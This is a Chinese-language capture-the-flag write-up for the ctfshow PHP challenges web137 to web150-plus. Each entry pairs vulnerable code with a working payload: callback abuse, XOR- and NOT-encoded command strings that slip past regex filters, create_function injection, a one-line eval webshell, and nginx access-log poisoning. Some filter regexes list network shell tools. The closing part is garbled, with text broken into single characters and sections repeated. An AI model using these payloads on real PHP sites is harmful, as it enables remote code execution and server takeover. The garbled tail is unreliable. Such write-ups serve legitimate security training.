?c=ls /|tee 1 //将根目录下的内容写入1
/1 //访问1,下载文件得到f149_15_h3r3
?c=nl /f149_15_h3r3|tee 2//将flag内容写入2
/2 //访问2,下载得flag
web137
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
调用类中函数
利用call_user_func()函数,通过post传入得ctfshow的值,来回调ctfshow类中的getFlag函数
payload:ctfshow=ctfshow::getFlag
web138
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
同样是回调函数,只不过多了一步过滤而已,利用回调函数传入两个参数
call_user_func函数的使用
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>
以上实例会输出
Hello!
Hello!
Hello!
由上可知,传入的参数可以是一个数组,数组第一个值为类名,之后的值为调用的函数名
故可以构造payload
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
可以利用给出的脚本跑出flag
web140
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
弱比较函数调用
在intval($code)=='ctfshow’中,由于是弱比较,等号右侧为0,只需让等号左侧也为字符串即可
利用eval()命令执行函数,来执行内部代码,生成一个字符串即可拿到flag
payload:f1=sha1&f2=md5
web141
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
/^\W+$/
/^\W+$/用于匹配非数字字母下划线的字符
取反绕过
$system = "system";
$command = "cat f*";
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
运行脚本构造 system(‘cat f*’),得到
payload:?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)-&v2=1
数字和命令可以进行一些运算
1-phpinfo(); 可以执行phpinfo()
异或运算
相同为0,不同为1
web142
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
直接构造v1=0,得到flag
web143
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
过滤了加减,还可以用乘除,过滤了~还可以用异或构造命令
payload:?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
web144
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
同143题差距不大,仍使用上一题的payload即可,只需要对调一下v2和v3参数的值
payload:?v1=10&v3=1&v2=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
web145
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
三目运算符
eval(“return 1?phpinfo():1;”);
该命令是可以执行phpinfo()的,所以可以借助三目运算符绕过
所以只需要对前面的payload稍加修改
payload:?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1
web146
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
过滤了:和; ,所以没有办法使用三目运算符
等号和位运算符
eval("return 1==phpinfo()||2;");
故payload
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)||&v2=1
web147
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
create_function()函数注入
create_function('$a','echo $a."123"')
类似于
function f($a) {
echo $a."123";
}
-D匹配非数字
用}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
payload:
?show=}system("cat f*");/*
ctf=\create_function
web148
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
没有过滤^直接构造异或
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
或者利用中文变量
也是构造异或
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
web149
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
条件竞争
非预期解
利用file_put_content()函数写入index.php中一句话木马
payload:
?ctf=index.php
show=<?php eval($_POST[1]);?>
然后蚁剑链接
web150
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
非预期解-日志包含
首先在UA头中写入一句话木马
<?php eval($_REQUEST[1]);?>
然后利用ctf传参,传入日志的路径,使日志被访问
ctf=/var/log/nginx/access.log
设置isVIP的值为1,使最下面的if条件成立
?isVIP=1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kfmqiOfH-1643189283273)(C:\Users\86186\AppData\Roaming\Typora\typora-user-images\image-20220126165730283.png)]
web150-plus
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
__autoload()
当第一次使用一个类A时,如果找不到,会自动调用__autoload()方法,并将类名A作为参数传入,我们在 __autoload() 中需要的做的就是根据类名,找到相应的文件,并包含进来。
本题中class_exists()类是第一次使用,可以通过对它的使用来调用autoload()这个魔术方法输出变量$class
过滤掉了 _ ,可以通过…绕过
因为题中有extract函数,会将传入的数组解析掉,所以get传入:?..CTFSHOW…=phpinfo
?..CTFSHOW..=phpinfo
传入后,调用__autoload()函数,实现phpinfo();
去phpinfo()环境变量中发现flag
private $username; private $password; private $vip; private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符 $key = $_SERVER[‘QUERY_STRING’]; if(preg_match(’/_| |[|]|?/’, $key)){ die(“error”); } $ctf =
P
O
S
T
[
′
c
t
f
′
]
;
e
x
t
r
a
c
t
(
_POST['ctf']; extract(
P?OST[′ctf′];extract(_GET); if(class_exists($CTFSHOW)){ echo “class is exists!”; }
if(KaTeX parse error: Expected 'EOF', got '&' at position 7: isVIP &?& strrpos(ctf, “:”)===FALSE){ include($ctf); }
### 非预期解-日志包含
首先在UA头中写入一句话木马
<?php eval($_REQUEST[1]);?>
然后利用ctf传参,传入日志的路径,使日志被访问
ctf=/var/log/nginx/access.log
设置isVIP的值为1,使最下面的if条件成立
?isVIP=1
## web150-plus
~~~php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
__autoload()
当第一次使用一个类A时,如果找不到,会自动调用__autoload()方法,并将类名A作为参数传入,我们在 __autoload() 中需要的做的就是根据类名,找到相应的文件,并包含进来。
本题中class_exists()类是第一次使用,可以通过对它的使用来调用autoload()这个魔术方法输出变量$class
过滤掉了 _ ,可以通过 '… '绕过
因为题中有extract函数,会将传入的数组解析掉,所以get传入:?..CTFSHOW…=phpinfo
?..CTFSHOW..=phpinfo
传入后,调用__autoload()函数,实现phpinfo();
去phpinfo()环境变量中发现flag
|